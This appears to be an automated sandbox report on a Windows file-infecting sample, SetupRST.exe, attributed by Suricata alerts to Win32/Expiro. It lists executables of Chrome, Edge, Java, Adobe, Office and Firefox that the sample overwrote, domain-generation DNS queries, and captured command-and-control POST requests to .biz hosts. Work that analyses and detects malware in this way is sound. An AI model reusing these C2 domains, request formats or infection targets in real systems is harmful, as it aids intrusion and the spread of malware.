Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.4.dr
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\SetupRST\obj\x64\Release\SetupRST.pdb79- source: SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Localization\obj\x64\Release\Localization.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1524994051.000001ED1D5B0000.00000004.08000000.00040000.00000000.sdmp, SetupRST.exe, 00000002.00000002.1519512445.000001ED04EA5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\qba2\workspace\6868\hsa_installer\Core\obj\x64\Release\Core.pdb source: SetupRST.exe, SetupRST.exe, 00000000.00000000.1456428546.0000000140046000.00000002.00000001.01000000.00000003.sdmp, SetupRST.exe, 00000002.00000002.1523301741.000001ED14B08000.00000004.00000800.00020000.00000000.sdmp, SetupRST.exe, 00000002.00000000.1459736314.000001ED026D2000.00000002.00000001.01000000.00000004.sdmp, SetupRST.exe, 00000002.00000002.1519416840.000001ED04AB0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdb source: alg.exe, 00000004.00000003.1883173957.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr
Source:	Binary string: D:\T\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: alg.exe, 00000004.00000003.1755347738.0000000001640000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\T\BuildResults\bin\Release_x64\Eula.pdb888 source: alg.exe, 00000004.00000003.1712506841.0000000001660000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVShNotify.pdbGCTL source: alg.exe, 00000004.00000003.1883173957.00000000014C0000.00000004.00001000.00020000.00000000.sdmp, AppVShNotify.exe.4.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\chrome_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\chrmstp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\RDCNotificationClient\FullTrustNotifier.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\pingsender.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Browser\WCChromeExtn\WCChromeNativeMessagingHost.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\LogTransport2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7z.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\AppVClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\crashreporter.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRWindowsClientService.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\64BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zG.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\MSRMSPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\keytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\CRLogTransport.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\notification_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AdobeCollabSync.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\firefox.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\updater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\Uninstall.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\FXSSVC.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Windows\System32\alg.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.132\117.0.5938.132_chrome_installer.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\7-Zip\7zFM.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to behavior
Source: C:\Users\user\Desktop\SetupRST.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\System32\alg.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2051648 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz) : 192.168.2.8:56656 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.8:49727 -> 47.129.31.212:80
Source: Network traffic	Suricata IDS: 2850851 - Severity 1 - ETPRO MALWARE Win32/Expiro.NDO CnC Activity : 192.168.2.8:49911 -> 13.251.16.150:80
Source: Network traffic	Suricata IDS: 2051649 - Severity 1 - ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz) : 192.168.2.8:61521 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2051651 - Severity 1 - ET MALWARE DNS Query to Expiro Domain (eufxebus .biz) : 192.168.2.8:52750 -> 1.1.1.1:53

Queries random domain names (often used to prevent blacklisting and sinkholes)

Source: unknown

DNS traffic detected: English language letter frequency does not match the domain names

Source: unknown

Network traffic detected: DNS query count 78

Source: Joe Sandbox View	IP Address: 3.254.94.185 3.254.94.185
Source: Joe Sandbox View	IP Address: 3.94.10.34 3.94.10.34

Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 54.244.188.177:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 54.244.188.177:80 -> 192.168.2.8:49704
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.141.10.107:80 -> 192.168.2.8:49730
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.141.10.107:80 -> 192.168.2.8:49730
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.208.156.248:80 -> 192.168.2.8:49734
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.208.156.248:80 -> 192.168.2.8:49734
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 47.129.31.212:80 -> 192.168.2.8:49727
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 47.129.31.212:80 -> 192.168.2.8:49727
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 35.164.78.200:80 -> 192.168.2.8:49740
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 35.164.78.200:80 -> 192.168.2.8:49740
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 44.221.84.105:80 -> 192.168.2.8:49729
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.246.200.160:80 -> 192.168.2.8:49733
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.246.200.160:80 -> 192.168.2.8:49733
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 44.221.84.105:80 -> 192.168.2.8:49729
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 18.246.231.120:80 -> 192.168.2.8:49751
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 18.246.231.120:80 -> 192.168.2.8:49751
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 34.211.97.45:80 -> 192.168.2.8:49809
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 34.211.97.45:80 -> 192.168.2.8:49809
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.94.10.34:80 -> 192.168.2.8:49812
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.94.10.34:80 -> 192.168.2.8:49812
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 3.254.94.185:80 -> 192.168.2.8:49830
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 3.254.94.185:80 -> 192.168.2.8:49830
Source: Network traffic	Suricata IDS: 2018141 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz : 13.251.16.150:80 -> 192.168.2.8:49728
Source: Network traffic	Suricata IDS: 2037771 - Severity 1 - ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst : 13.251.16.150:80 -> 192.168.2.8:49728

Source: global traffic	HTTP traffic detected: POST /uiymjppob HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792
Source: global traffic	HTTP traffic detected: POST /gvfsthloy HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: pywolwnvd.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /hsnletpxhs HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792
Source: global traffic	HTTP traffic detected: POST /xwha HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: ssbzmoy.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 770
Source: global traffic	HTTP traffic detected: POST /epijprbe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: cvgrf.bizUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400Content-Length: 792
